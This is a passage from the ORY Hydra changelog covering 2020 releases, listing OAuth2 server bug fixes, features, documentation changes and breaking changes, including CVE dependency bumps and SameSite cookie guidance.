Upgrading is strongly advised! A few things have changed as part of these patches: - OAuth2 Redirection URL error parameters `error_hint`, `error_debug` have been deprecated and are now part of `error_description`. The parameters are still included for compatibility reasons but will be removed in a future release. - OAuth2 Error `revocation_client_mismatch` was not standardized and has been removed. Instead, you will now receive `unauthorized_client` with a description explaning why the flow failed. Additionally, the TypeScript SDK generator has changed from OpenAPI's `typescript-node` to `typescript-axios` making the SDK compatible with both browser as well as node environments, which was not the case previously. Please be aware that some of the SDK's API signatures - especially responses - have changed and check your TypeScript output for instructions on upgrading. You may still use an older version of the SDK as none of ORY Hydra's HTTP APIs have changed. New features have been added and bugs have been closed. No migrations are required when applying this release. Please check the list below for an in-depth overview. ## Breaking Changes As part of this patch, a few things have changed in a breaking fashion: - OAuth2 Redirection URL error parameters `error_hint`, `error_debug` have been deprecated and now part of `error_description`. The parameters are still included for compatibility reasons but will be removed in a future release. - OAuth2 Error `revocation_client_mismatch` was not standardized and has been removed. Instead, you will now receive `unauthorized_client` with a description explaning why the flow failed. ### Bug Fixes * Bump deps to patch CVE-2020-15223 ([#2067](https://github.com/ory/hydra/issues/2067)) ([b36073a](https://github.com/ory/hydra/commit/b36073af4880f47da7702e3cc86d56edd5e3f514)) * Bump ory/fosite to v0.34.1 to address CVEs ([0561d74](https://github.com/ory/hydra/commit/0561d74014775a656f8c8afa5ad20134e93aed20)) * Delete obsolete patch ([1b99ce3](https://github.com/ory/hydra/commit/1b99ce32fff1fc4ecc4982156ac1086ecc2f8bef)) * Downgrade log level for access rejections ([#2038](https://github.com/ory/hydra/issues/2038)) ([82208c4](https://github.com/ory/hydra/commit/82208c43a1a2e5d382db5ab35885b6b5042c9d54)), closes [#2031](https://github.com/ory/hydra/issues/2031) * Ignore x/net false positives ([fd14ad3](https://github.com/ory/hydra/commit/fd14ad30110d3ce1865e69dfaf8735f01dd40743)) * Remove docker-e2e file ([096bc0c](https://github.com/ory/hydra/commit/096bc0c5a7908946eb5f76ffe634e5d372a47563)): The file and build pipeline have moved to https://github.com/ory/e2e-env. * Support HTTP POST method for logout ([#2043](https://github.com/ory/hydra/issues/2043)) ([29b2af4](https://github.com/ory/hydra/commit/29b2af4add8902f4461f9c53b2f59474b231d9c8)) * Update link to config docs displayed on `hydra serve help` ([#2071](https://github.com/ory/hydra/issues/2071)) ([d619fab](https://github.com/ory/hydra/commit/d619fabc2eb159805f82089f2cfe1b28df0f4f31)), closes [#2065](https://github.com/ory/hydra/issues/2065) ### Code Generation * Pin v1.8.0-pre.0 release commit ([293c3ac](https://github.com/ory/hydra/commit/293c3ac7856d8cba1a745d8220b21bca4b2393fc)) ### Documentation * Add missing word in sentence ([#2082](https://github.com/ory/hydra/issues/2082)) ([7a72083](https://github.com/ory/hydra/commit/7a7208344600b48829e70ed1be51703e3a17e89d)) * Corrected documentation links ([#2045](https://github.com/ory/hydra/issues/2045)) ([#2047](https://github.com/ory/hydra/issues/2047)) ([9e8c2e3](https://github.com/ory/hydra/commit/9e8c2e3556a920c9670896640dede5ce80cb2de8)) * Fix broken link ([ab3afec](https://github.com/ory/hydra/commit/ab3afec294b47412507a2e6a54eb577ed12ab09b)) * Fix dead image links ([#2053](https://github.com/ory/hydra/issues/2053)) ([759ab16](https://github.com/ory/hydra/commit/759ab1637a0dec12aaa760f04a8638cf35032a59)) * Fix regression issues and OOM build error ([f20f844](https://github.com/ory/hydra/commit/f20f8444cfff57d061218f95dff735df1f2d78eb)) * Fix relative path in consent flow doc ([#2063](https://github.com/ory/hydra/issues/2063)) ([2b0f87f](https://github.com/ory/hydra/commit/2b0f87f09656bd700f4fe7336efe1750bf3ca325)) * Fix typo "pariwise" on advanced flows page ([bcd2de0](https://github.com/ory/hydra/commit/bcd2de01bdbadeef9ac08580d4b91ea948e7eed7)) * Fix typo ([#2052](https://github.com/ory/hydra/issues/2052)) ([d1f5ecc](https://github.com/ory/hydra/commit/d1f5ecc9bb85d418737826b8cce8efb0d9c4562c)): s̶i̶g̶n̶l̶e̶ ̶p̶a̶g̶e̶ ̶a̶p̶p̶ ➡️ single page app * Gitlab hydra integration ([#2014](https://github.com/ory/hydra/issues/2014)) ([e2bc127](https://github.com/ory/hydra/commit/e2bc12701d3f61f549ac1cd8d92c5f00dc9e551c)) * Improve before-oauth2 ([8bcb8c9](https://github.com/ory/hydra/commit/8bcb8c9d25c9e7b16383e7e4392da36ea385c5eb)) * Minor typo in limitations.md ([#2048](https://github.com/ory/hydra/issues/2048)) ([42d85ee](https://github.com/ory/hydra/commit/42d85eebbb0540f1698d1fe0b05378d11dc30a44)): It said "an maximum" but I believe it should be "a maximum". * Resolve broken link ([eedb1f8](https://github.com/ory/hydra/commit/eedb1f85924719b4134b00235c1258553334d4cd)) * Update logout flow docs based on new spec ([#2044](https://github.com/ory/hydra/issues/2044)) ([d8d4f1e](https://github.com/ory/hydra/commit/d8d4f1e581504b5111e9051a46636140c31a3a86)), closes [#1994](https://github.com/ory/hydra/issues/1994) * Update pkg.go.dev link in README ([#2084](https://github.com/ory/hydra/issues/2084)) ([ce3515f](https://github.com/ory/hydra/commit/ce3515f6f7e271dd36196d68288bd25bfd709d3c)): Remove www from the pkg.go.dev path. * Use relative paths ([5107e58](https://github.com/ory/hydra/commit/5107e58778f44319f7148cc3794f5ca3ec799b9a)) ### Features * Add client update command in cli ([444d26d](https://github.com/ory/hydra/commit/444d26d4d0f8065f33e6c332f828893e6f65b33b)) * Add DataDog support ([#2056](https://github.com/ory/hydra/issues/2056)) ([5a0236a](https://github.com/ory/hydra/commit/5a0236acff7ef945cb37929aa288c6ca5df436f2)), closes [#1957](https://github.com/ory/hydra/issues/1957) * Allow to automatically set GOMAXPROCS according to linux container quota ([#2034](https://github.com/ory/hydra/issues/2034)) ([39652ac](https://github.com/ory/hydra/commit/39652acb2d148a4deb0614725de27c1bf895c05b)) * API for deleting a client's access tokens ([#2058](https://github.com/ory/hydra/issues/2058)) ([077c54a](https://github.com/ory/hydra/commit/077c54ab5143041d4189d5e79ca52920b91bc9b0)), closes [#1728](https://github.com/ory/hydra/issues/1728) * Improving the client update command description ([85b6e86](https://github.com/ory/hydra/commit/85b6e86d1957b270fe66de2cb917bcd0e21a6918)) * Metrics prometheus endpoint should not require x-forwarded-proto header ([#2074](https://github.com/ory/hydra/issues/2074)) ([7d3a1c8](https://github.com/ory/hydra/commit/7d3a1c8605b38950a5eed41fd159ab1f18ec8ffd)), closes [#2072](https://github.com/ory/hydra/issues/2072): - moved MetricsPrometheusPath constant to metrics/prometheus/metrics.go - added rule to allow insecure requests for MetricsPrometheusPath endpoint - arranged tls_termination_test.go test to cover all cases in RejectInsecureRequests function # [1.7.4](https://github.com/ory/hydra/compare/v1.7.3...v1.7.4) (2020-08-31) This release resolves several minor bugs and one slow query. Please be aware that applying this version requires running SQL migrations. ### Bug Fixes * Update e2e docker image ([2ce0f14](https://github.com/ory/hydra/commit/2ce0f14fc44e2592e743f596226446e8cd7f1117)) ### Code Generation * Pin v1.7.4 release commit ([ff980e6](https://github.com/ory/hydra/commit/ff980e6d6c5a5f17b7a0c55e7593a9ec75ea76ef)): Bumps from v1.7.1 # [1.7.3](https://github.com/ory/hydra/compare/v1.7.1...v1.7.3) (2020-08-31) This release resolves several minor bugs and one slow query. Please be aware that applying this version requires running SQL migrations. ### Code Generation * Pin v1.7.3 release commit ([a72fac3](https://github.com/ory/hydra/commit/a72fac3c46caf30865e1a5495a6a27167bc77ee6)) # [1.7.1](https://github.com/ory/hydra/compare/v1.7.0...v1.7.1) (2020-08-31) This release resolves several minor bugs and one slow query. Please be aware that applying this version requires running SQL migrations. ## Breaking Changes This patch changes the SQL schema and thus requires running the SQL Migration command (e.g. `... migrate sql`). Never apply SQL migrations without backing up your database prior. ### Bug Fixes * Add (client_id, subject) index to access and refresh tables ([#2001](https://github.com/ory/hydra/issues/2001)) ([6c830d2](https://github.com/ory/hydra/commit/6c830d2dbfcc83f0076b155db80ec4362149b236)), closes [#1997](https://github.com/ory/hydra/issues/1997) [#2000](https://github.com/ory/hydra/issues/2000): This patch adds an index over `(client_id, subject)` to access and refresh token tables which improves performance significantly in certain API calls. * Deprecate client flags in introspection CLI ([eeaa3ac](https://github.com/ory/hydra/commit/eeaa3ac90360657485682043442a0bb434329822)) ### Code Generation * Pin v1.7.1 release commit ([2ecfe4b](https://github.com/ory/hydra/commit/2ecfe4be685c801444a01610e2231a62f56a439d)) ### Code Refactoring * Use ory/x tracing package ([#2008](https://github.com/ory/hydra/issues/2008)) ([97615fa](https://github.com/ory/hydra/commit/97615fa327969ed9c2cbead03eb79423ab6e7652)) ### Documentation * Add milestones to sidebar ([8a19f53](https://github.com/ory/hydra/commit/8a19f53efea6b5a346ed7238c845044c6492debd)) * Add note about refresh token invalidation ([7ce7a7e](https://github.com/ory/hydra/commit/7ce7a7e49b8eae406f3620951b638f7e2fbf872a)), closes [#2021](https://github.com/ory/hydra/issues/2021) * Add note about refresh token invalidation ([#2021](https://github.com/ory/hydra/issues/2021)) ([5add779](https://github.com/ory/hydra/commit/5add7798bf6a10dd113a1d5294c9f09308f73bc1)) * Add pkg.go.dev badge ([#2009](https://github.com/ory/hydra/issues/2009)) ([b9bf968](https://github.com/ory/hydra/commit/b9bf9688c0452aa0aef069a99970fb6ea3cc86ce)) * Capitalize swagger titles in NYT style ([#2023](https://github.com/ory/hydra/issues/2023)) ([595e3b0](https://github.com/ory/hydra/commit/595e3b0edabf2fa51d2977923f5070dab35717b2)), closes [#2015](https://github.com/ory/hydra/issues/2015) * Clarify that fallback URL shows an error ([e077e83](https://github.com/ory/hydra/commit/e077e831349930b65f6dbec20de1201bbfc63aea)), closes [#1931](https://github.com/ory/hydra/issues/1931) * Fix access control section ([152ccf0](https://github.com/ory/hydra/commit/152ccf0b1f898270759a4d120873666c781a8dd7)), closes [#1992](https://github.com/ory/hydra/issues/1992) * Fix typos and correct legend ([94c9872](https://github.com/ory/hydra/commit/94c98725dba57f782a292d5cbf38819c2f472d02)), closes [#1930](https://github.com/ory/hydra/issues/1930) * Improve deprecation notice ([dedcafe](https://github.com/ory/hydra/commit/dedcafe0ca9a5504ff8b670170db455c7811dc46)) * Remove duplicate tempalte ([3e32aa5](https://github.com/ory/hydra/commit/3e32aa57e37fdbf86e53e719a198532568341968)) * Remove introspect security spec ([#2002](https://github.com/ory/hydra/issues/2002)) ([973d57b](https://github.com/ory/hydra/commit/973d57b8307e7986097ca3018f5753ca4ede2299)), closes [#1520](https://github.com/ory/hydra/issues/1520) * Spelling fix ([d9b00e3](https://github.com/ory/hydra/commit/d9b00e38cba9a743be4c449e534263d42f0e29b7)) * Update 5 minute tutorial ([17f893f](https://github.com/ory/hydra/commit/17f893fdac9fbed064da69d5480abd63d61d8eae)) * Update repository templates ([08cafb1](https://github.com/ory/hydra/commit/08cafb1794ae64507b977b77ddec0535d9496f1b)) * Update repository templates ([aebc122](https://github.com/ory/hydra/commit/aebc122aed5ee96f12f7c52d6786187b4ba70211)) * Update repository templates ([#2028](https://github.com/ory/hydra/issues/2028)) ([d61fd57](https://github.com/ory/hydra/commit/d61fd57fb608a9a9fae2d8771e19898df1263934)) * Use NYT style capitalization for swagger ([#2019](https://github.com/ory/hydra/issues/2019)) ([066a6cd](https://github.com/ory/hydra/commit/066a6cd5fb4a194696ede66d8cf1fde1dbccf740)) ### Features * Add and automate version schema ([#2012](https://github.com/ory/hydra/issues/2012)) ([ab6cd6f](https://github.com/ory/hydra/commit/ab6cd6ff2e725cb66967f6c2595d38ef76d6dc04)) ### Unclassified * fix spelling (#2010) ([1543511](https://github.com/ory/hydra/commit/1543511b704334c3f470844d90579b4226951cb8)), closes [#2010](https://github.com/ory/hydra/issues/2010) # [1.7.0](https://github.com/ory/hydra/compare/v1.6.0...v1.7.0) (2020-08-14) The new SameSite attribute is now enforced on Google Chrome and may cause issues with your current ORY Hydra deployment: `SameSite=None` no longer works without `secure` flag cookies. If you are using the `--dangerous-force-http` flag and have not configured `SameSite=Lax` your users will no longer be able to perform OAuth2 flows. The next FireFox release will follow this implementation as well. To prevent your users from experiencing issues: - Remove `--dangerous-force-http` from your deployment. This flag should never be set outside of local development machines anyways! - Set environment variable `SERVE_COOKIES_SAME_SITE_MODE=Lax` or configuration value `serve.cookies.same_site_mode = Lax`. By applying this release, the above recommendations will be set per default, for example using `Lax` when `--dangerous-force-http` is set. Many of you reached out in the past asking about managed / SaaS offerings from ORY, for more support, automated updates, and automated fixes for issues like the `SameSite` behavior above. We would like to invite those interested in that kind of an offering and service to engage in a dialogue to better help us understand how you are using ORY, what requirements your businesses have and how we can better help and service you. Together, we can shape some of this journey together. If you like to be part of this conversation please send an email to [email protected] so we can get in touch directly and begin talking about what an ideal and fully supported offering from ORY would look like for you. This patch additionally includes a breaking API change for the "Revoke Consent Sessions API endpoint" - please check the breaking changes below. Bugfixes are included in this release as well - such as pretty JSON format logging, fixes to Jaeger configuration, and more! ## Breaking Changes Previously, '/oauth2/auth/sessions/[email protected]' would revoke all consent sessions of that user. This may be problematic in cases where the caller forgot to specify the client ID as all tokens for that user are revoked. To prevent that, a "failsave" `all=true` is now required to make this explicit: '/oauth2/auth/sessions/[email protected]&all=true'. ### Bug Fixes * Add json_pretty to possible log.format values ([cc96359](https://github.com/ory/hydra/commit/cc963595d5bc4e485e3a342777e7bbc48ce6b292)) * Add uri to jaeger's local_agent_address ([#1982](https://github.com/ory/hydra/issues/1982)) ([4d5df3e](https://github.com/ory/hydra/commit/4d5df3eb1a758d58ff4b25ed1815d479c2634605)), closes [#1956](https://github.com/ory/hydra/issues/1956) * Bump clidoc ([7800049](https://github.com/ory/hydra/commit/7800049e94441436e5fea851505f259beb7b8e4a)) * Remove duplicate html tags ([#1960](https://github.com/ory/hydra/issues/1960)) ([819fe6c](https://github.com/ory/hydra/commit/819fe6cd68178ed2ce434dc15e2ea4135f82e2b5)) * Send total item count in X-Total-Count header ([#1983](https://github.com/ory/hydra/issues/1983)) ([5f9f294](https://github.com/ory/hydra/commit/5f9f294fdb671ca62f808b4060b3f1384fee6f6d)), closes [#1666](https://github.com/ory/hydra/issues/1666) * Use SameSite=Lax for dev environments per default ([534203c](https://github.com/ory/hydra/commit/534203c541ee797c0968f299e59f7da018ac3e9c)) * Use SameSite=Lax for quickstart ([379f5f0](https://github.com/ory/hydra/commit/379f5f08a5350b7409323fd2307cd5b755f5a790)), closes [#1988](https://github.com/ory/hydra/issues/1988) [#1981](https://github.com/ory/hydra/issues/1981) ### Code Generation * Pin v1.7.0 release commit ([ff4b81e](https://github.com/ory/hydra/commit/ff4b81efd78b072f733d74a1b552cf56d202bcd5)) ### Code Refactoring * Cleanup the code for CORS handling ([#1959](https://github.com/ory/hydra/issues/1959)) ([5a53d28](https://github.com/ory/hydra/commit/5a53d28f3e38c6d462b199c8cb7a5a52cefd661d)), closes [#1754](https://github.com/ory/hydra/issues/1754) ### Documentation * Access token time config ([#1966](https://github.com/ory/hydra/issues/1966)) ([f066cc1](https://github.com/ory/hydra/commit/f066cc124258639584ca8e2a499858e9d9f8a9b3)): Adds a short guide how to configure access token expiration time. * Add expiry-time sidebar item ([#1967](https://github.com/ory/hydra/issues/1967)) ([5f8e58b](https://github.com/ory/hydra/commit/5f8e58be3928adc4c995685d06f9582fe474d0e3)): Adds token-expiration to sidebar. * Add sdk samples for tls termination and tls verify skip ([#1968](https://github.com/ory/hydra/issues/1968)) ([6619e59](https://github.com/ory/hydra/commit/6619e59dcbdac604162c70df3df11afe2b5ae796)) * Add section on oauth2 limitations at beginning ([4254363](https://github.com/ory/hydra/commit/425436303af59c3d78dff15f1232d84733db7ca0)) * Adopt new sidebar.json ([8faf070](https://github.com/ory/hydra/commit/8faf070adac29551c50f4d0b5ce8ecde6d659b7e)) * Clarify secure flag in chrome ([f01ac17](https://github.com/ory/hydra/commit/f01ac17089ce5d245c440ced37645310d0aaa245)) * Clarify when to use oauth2 ([4c58601](https://github.com/ory/hydra/commit/4c586012bff2d23d60bd58fe2815017f9e56ad63)) * Document SameSite woes on Chrome ([921f8c2](https://github.com/ory/hydra/commit/921f8c23d507ed84ed36792dfa343f235da2e501)) * Fix broken links ([b3c6c5a](https://github.com/ory/hydra/commit/b3c6c5adf752615ae0dc331487004c40f3943248)) * Fix invalid links ([3838cdc](https://github.com/ory/hydra/commit/3838cdc580ad0a684b4120fb9dc057aa328a11b3)) * Fix typos ([#1964](https://github.com/ory/hydra/issues/1964)) ([83ce657](https://github.com/ory/hydra/commit/83ce6578110f89ebd7e6a9eb7d76c4f9bd7cfbcd)) * Fixed link ([#1969](https://github.com/ory/hydra/issues/1969)) ([ba1f14b](https://github.com/ory/hydra/commit/ba1f14b3b7bc81b58e86300e2c04bbce8c5be13a)) * Update oauth2 limitation section ([62e6fdf](https://github.com/ory/hydra/commit/62e6fdfcc6e8cccb06ed50da96e7298f579207e8)) * Update TLS example to quote strings not spawn a subshell ([#1961](https://github.com/ory/hydra/issues/1961)) ([0e6ed29](https://github.com/ory/hydra/commit/0e6ed291216582163305c8f8eb4837b79b8d27e5)) ### Features * Add audit and debug logs for cookies ([08813b3](https://github.com/ory/hydra/commit/08813b312307ec7ffef193097ba1ce92ceb093bc)) * Add clidoc task and program ([e44d256](https://github.com/ory/hydra/commit/e44d25627714372843f8a73a73fb915363b21728)) * Revoke consent sessions of a subject only if explicitly requested ([#1952](https://github.com/ory/hydra/issues/1952)) ([fb925cf](https://github.com/ory/hydra/commit/fb925cf8c3e738efab018cbf659e288d76eb4cd2)), closes [#1951](https://github.com/ory/hydra/issues/1951): This patch adds query parameter `all` to `/oauth2/auth/sessions/consent`. If `all=true`, then all consent sessions of a certain subject will be revoked. ### Unclassified * Add 1.5 notes to UPGRADING.md ([270b89a](https://github.com/ory/hydra/commit/270b89a3bdde7c9d4e79dd43d058f27bc6318f0e)) * Whitelist new session cookies and set log level to trace ([6e75638](https://github.com/ory/hydra/commit/6e75638901743ddb0aecd30506589ceb6d8c0ae8)) # [1.6.0](https://github.com/ory/hydra/compare/v1.5.2...v1.6.0) (2020-07-20) We focused on reworking the ORY Hydra documentation in this release. Even though no breaking changes were introduced with this release, we decided to bump to the next minor (1.6) version to signal the significance of the documentation changes. We also refactored the NodeJS example implementation to use lightweight TypeScript and the official TypeScript SDK. ### Bug Fixes * Correct hydra-login-consent-node image ([2bc777d](https://github.com/ory/hydra/commit/2bc777d89324ddc75ef52b6ff9be2fec5217ba1f)), closes [#1955](https://github.com/ory/hydra/issues/1955) * Improve nancy pipeline with nancy-ignore and bump ci ([aaabb6f](https://github.com/ory/hydra/commit/aaabb6ff37b0108491abbb95fabe1a67f36f4004)) * Improve structured logging ([#1935](https://github.com/ory/hydra/issues/1935)) ([82c5302](https://github.com/ory/hydra/commit/82c5302f54115a16cb7916cb88b24724b3ad9576)), closes [#1683](https://github.com/ory/hydra/issues/1683) * Logout error hint ([#1949](https://github.com/ory/hydra/issues/1949)) ([2f1f832](https://github.com/ory/hydra/commit/2f1f83282dd4f7ef615f36c7013aacc0f7a75338)) * SDK generation at Makefile ([#1954](https://github.com/ory/hydra/issues/1954)) ([e7a8322](https://github.com/ory/hydra/commit/e7a8322953641b70662339d44f57b32067431059)) * Use correct assertion in test ([9a5593b](https://github.com/ory/hydra/commit/9a5593b656c637b4b6f9317e37b02ecac4d91f0b)) ### Code Generation * Pin v1.6.0 release commit ([90faa60](https://github.com/ory/hydra/commit/90faa60c5d517fccf071e8205da5f63f46636c82)) ### Documentation * Add scaling hydra section ([e812bfa](https://github.com/ory/hydra/commit/e812bfa8902f0768a977140fc67171cb050c8abf)) * Annotate code samples ([c6099ec](https://github.com/ory/hydra/commit/c6099ecc234f71d003afc62285dac3e32fc76836)) * Clean up concept section ([13c593c](https://github.com/ory/hydra/commit/13c593c0d909554e13f1d80bdde14451fe28a911)) * Improve csrf debug help ([48e50da](https://github.com/ory/hydra/commit/48e50daaa5214b6f36f756e3f704e13ace1b6006)) * Move helm chart docs from ory/k8s ([5185368](https://github.com/ory/hydra/commit/518536817ed63f69ea0aea4ae1b40cb29537be38)) * Refactor documentation ([2b23437](https://github.com/ory/hydra/commit/2b23437041da5d2fab86aee2ac311ea50e22d3d5)) * Remove duplicate heading ([74cb812](https://github.com/ory/hydra/commit/74cb8126ce52151b53e631826ca8281ac07c06d5)) * Update openid certification ([5f8c0d4](https://github.com/ory/hydra/commit/5f8c0d4bd27d4ac26dc0bdce0c6376b4bd802149)) ### Unclassified * Exclude health endpoints ([#1932](https://github.com/ory/hydra/issues/1932)) ([7bf91c2](https://github.com/ory/hydra/commit/7bf91c229fc0309fb97022b34d7e4e4004bffd4c)), closes [#1924](https://github.com/ory/hydra/issues/1924) # [1.5.2](https://github.com/ory/hydra/compare/v1.5.1...v1.5.2) (2020-06-23) This release contains mostly minor bug fixes and allows more granular control for listening on unix sockets. ### Bug Fixes * Bump pop to v5.2 ([#1922](https://github.com/ory/hydra/issues/1922)) ([5097805](https://github.com/ory/hydra/commit/50978054737e7ae7c54adf5ec9ee478e9feb174f)), closes [#1892](https://github.com/ory/hydra/issues/1892) * Do not log error at login/consent cancelation ([#1914](https://github.com/ory/hydra/issues/1914)) ([379eed3](https://github.com/ory/hydra/commit/379eed3db3b3e4b8f13f12145f7f48048ab0cf8e)), closes [#1912](https://github.com/ory/hydra/issues/1912) * Improve Makefile dependency management ([#1918](https://github.com/ory/hydra/issues/1918)) ([5359276](https://github.com/ory/hydra/commit/5359276ac96a27cfe07c39647b4dee8a581d2dae)), closes [#1916](https://github.com/ory/hydra/issues/1916): This install dependencies only when you make a target that needs it. This also removes the check that certain system dependencies (e.g. go) are installed. Instead, we simply let the target fail. This ensures we only test for the desired dependencies. ### Code Generation * Pin v1.5.2 release commit ([4d2cd48](https://github.com/ory/hydra/commit/4d2cd48ee6e43175331febc8463159204b5ae40b)) ### Features * Allow modifying unix socket permissions ([#1915](https://github.com/ory/hydra/issues/1915)) ([b19b7cf](https://github.com/ory/hydra/commit/b19b7cfd2eadf3dc7a1ef904756b435f5205a273)): This allows the reverse proxy to actually read the unix socket, since - The default permissions are 0755 - Hydra is usually run as a user different than the reverse proxy - One needs read and write permissions to connect to the socket With the commit, one can set the group to be a group that contains the reverse proxy user and permissions to 0770 # [1.5.1](https://github.com/ory/hydra/compare/v1.5.0...v1.5.1) (2020-06-16) The 1.5.1 release includes several big changes to the internal code base and introduces exciting new features! It combines several beta releases that have been battle-tested by the community. Please use the 1.5.1 release instead of the 1.5.0 release which had issues with the CI pipeline! This release * changes how migrations work internally. It does not contain breaking changes but please run `hydra migrate sql` **once you have backed up the database**; * improves CockroachDB ZigZag query performance; * OAuth2 clients are now able to use other token_endpoint_auth_signing_algorithms than RS256 * introduces Zipkin tracing support; * improves the documentation in several locations; * greatly improves structured logging output; * supports unix sockets in the ORY Hydra CLI; * uses the new ORY CLI as part of the toolchain; * and resolves several other bugs and issues! We would like to thank our amazing community and all contributors that have helped in making this release possible (in no particular order): * https://github.com/rickwang7712 * https://github.com/bayansar * https://github.com/sawadashota * https://github.com/ka3de * https://github.com/dalcde * https://github.com/timsazon * https://github.com/robhinds * https://github.com/arkady-bagdasarov * https://github.com/arapaho * https://github.com/lopezator * https://github.com/pjediny If you haven't yet, consider joining our [Slack family](https://slack.ory.sh)! ### Code Generation * Pin v1.5.1 release commit ([af8d7a6](https://github.com/ory/hydra/commit/af8d7a6933c9c4bc223a5b2fef8124970091fec7)): Bumps from v1.5.0-beta.1 # [1.5.0](https://github.com/ory/hydra/compare/v1.5.0-beta.5...v1.5.0) (2020-06-16) The 1.5 release includes several big changes to the internal code base and introduces exciting new features! It combines several beta releases that have been battle-tested by the community. This release * changes how migrations work internally. It does not contain breaking changes but please run `hydra migrate sql` **once you have backed up the database**; * improves CockroachDB ZigZag query performance; * OAuth2 clients are now able to use other token_endpoint_auth_signing_algorithms than RS256 * introduces Zipkin tracing support; * improves the documentation in several locations; * greatly improves structured logging output; * supports unix sockets in the ORY Hydra CLI; * uses the new ORY CLI as part of the toolchain; * and resolves several other bugs and issues! We would like to thank our amazing community and all contributors that have helped in making this release possible (in no particular order): * https://github.com/rickwang7712 * https://github.com/bayansar * https://github.com/sawadashota * https://github.com/ka3de * https://github.com/dalcde * https://github.com/timsazon * https://github.com/robhinds * https://github.com/arkady-bagdasarov * https://github.com/arapaho * https://github.com/lopezator * https://github.com/pjediny If you haven't yet, consider joining our [Slack family](https://slack.ory.sh)! ### Bug Fixes * Add config schema for log.leak_sensitive_values ([#1905](https://github.com/ory/hydra/issues/1905)) ([d954649](https://github.com/ory/hydra/commit/d954649cd382728b7ec8b58b56e75d2f0913d75a)) * Properly return when subject is empty ([#1909](https://github.com/ory/hydra/issues/1909)) ([5b54519](https://github.com/ory/hydra/commit/5b5451929196eaa09a2fa21b1fbb5797693bf897)), closes [#1842](https://github.com/ory/hydra/issues/1842) * Remove duplicated tracing logger ([#1900](https://github.com/ory/hydra/issues/1900)) ([48c2c6d](https://github.com/ory/hydra/commit/48c2c6de27a7ec73c77cb29c86578b8ca78885e8)) * Same site legacy workaround on iOS 12 ([#1908](https://github.com/ory/hydra/issues/1908)) ([128ad98](https://github.com/ory/hydra/commit/128ad987d548e719b62e789264a82ef5e611ff59)), closes [#1810](https://github.com/ory/hydra/issues/1810) [/github.com/golang/go/blob/release-branch.go1.14/src/net/http/cookie.go#L221](https://github.com//github.com/golang/go/blob/release-branch.go1.14/src/net/http/cookie.go/issues/L221) [/tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00#section-4](https://github.com//tools.ietf.org/html/draft-ietf-httpbis-cookie-same-site-00/issues/section-4) [239226#L118](https://github.com/239226/issues/L118) [#1907](https://github.com/ory/hydra/issues/1907): Enables legacy compatibility on iOS version < 13 and macOS version < 10.15 * Use .bin in PATH and improve CI tasks ([#1897](https://github.com/ory/hydra/issues/1897)) ([9c6eba8](https://github.com/ory/hydra/commit/9c6eba8d0611fb4a79820a90c31f72eb578ca3d5)) ### Chores * Pin v1.5.0 release commit ([dff6c21](https://github.com/ory/hydra/commit/dff6c216edca3c7138007ce70316f8fa5448d94c)): Bumps from v1.4.10 ### Documentation * Add hint for login different subject ([#1880](https://github.com/ory/hydra/issues/1880)) ([8f7227c](https://github.com/ory/hydra/commit/8f7227cd94fedf88bd5a4fdbc75eb480bc3d3aa9)): Add hint to allow login provider login different subject when there is already an authentication of another subject. * Delete old redirect homepage ([45595dc](https://github.com/ory/hydra/commit/45595dc1aed479cd224353355a7e66030de609b0)) * Use mdx for api reference ([5709439](https://github.com/ory/hydra/commit/570943932773b2de54b187526d5d3e0ade2c2756)) ### Features * Add Zipkin support ([#1904](https://github.com/ory/hydra/issues/1904)) ([05bf907](https://github.com/ory/hydra/commit/05bf907eb5702616c454d7b4e9a1a44efb58f37a)) * Allow unix socket as --endpoint ([#1899](https://github.com/ory/hydra/issues/1899)) ([6999a82](https://github.com/ory/hydra/commit/6999a82d0fed29ff857dc5df5da39cb796022482)) * Log errors with request information ([#1893](https://github.com/ory/hydra/issues/1893)) ([4bfbddb](https://github.com/ory/hydra/commit/4bfbddb5a4fcb55448b12f2d6ea7e050d9f47720)) * Support jwt signing alg other than RS256 ([#1889](https://github.com/ory/hydra/issues/1889)) ([fe8d77f](https://github.com/ory/hydra/commit/fe8d77f4a4a4644dcb9a188bf33ae3dea9871480)), closes [#1817](https://github.com/ory/hydra/issues/1817) ### Unclassified * Add www-authenticate at userinfo endpoint ([#1891](https://github.com/ory/hydra/issues/1891)) ([e785bc7](https://github.com/ory/hydra/commit/e785bc71cdfe7f7996dfbf1dd2152887f5b5f76d)), closes [#1827](https://github.com/ory/hydra/issues/1827) # [1.5.0-beta.5](https://github.com/ory/hydra/compare/v1.5.0-beta.3...v1.5.0-beta.5) (2020-05-28) Adds `offline_access` to the scope list in OpenID Connect Discovery, makes it possible to enforce PKCE for public clients, improves structured logging, and bumps several dependencies. ### Bug Fixes * Add offline_access to discovery supported scoped ([#1870](https://github.com/ory/hydra/issues/1870)) ([73464e1](https://github.com/ory/hydra/commit/73464e1c6293ed7ff41d33e06389824222306a2f)), closes [#1866](https://github.com/ory/hydra/issues/1866) * Resolve dependency issues and adopt logrusx logger ([fdb3231](https://github.com/ory/hydra/commit/fdb3231e19f1b20cffcdad7fa0eebc1c513e5960)) ### Chores * Pin v1.5.0-beta.5 release commit ([a0fbe80](https://github.com/ory/hydra/commit/a0fbe809fe974979c8eca7ee9d8ff29702d8fade)) ### Documentation * Move sdk to top level directory ([#1876](https://github.com/ory/hydra/issues/1876)) ([13ee97d](https://github.com/ory/hydra/commit/13ee97dc8ca225a334b054fa98c9d2f7367cb1cf)) * Update repository templates ([04b2c22](https://github.com/ory/hydra/commit/04b2c22d97ffa69f58c53ab64f48c75095f96624)) * Use central banner repo for README ([ff0b990](https://github.com/ory/hydra/commit/ff0b990c4c37c683a7905421c29684f1e7e36675)) ### Features * Configure pkce enforcement for public clients ([#1874](https://github.com/ory/hydra/issues/1874)) ([d1907d6](https://github.com/ory/hydra/commit/d1907d670f923bb7a2433b04c85b57077b747a59)) # [1.5.0-beta.3](https://github.com/ory/hydra/compare/v1.5.0-beta.2...v1.5.0-beta.3) (2020-05-23) Bumps a vulnerable dependency. ### Chores * Pin v1.5.0-beta.3 release commit ([9f67b8d](https://github.com/ory/hydra/commit/9f67b8d502bee72fcc6a29277f3d77b344d7835d)) # [1.5.0-beta.2](https://github.com/ory/hydra/compare/v1.5.0-beta.1...v1.5.0-beta.2) (2020-05-23) Resolves issues found in beta.1. ### Bug Fixes * Add packr2 steps in Makefile ([#1858](https://github.com/ory/hydra/issues/1858)) ([08ac026](https://github.com/ory/hydra/commit/08ac0268e52751f0857cef41f5412f5242ce2509)), closes 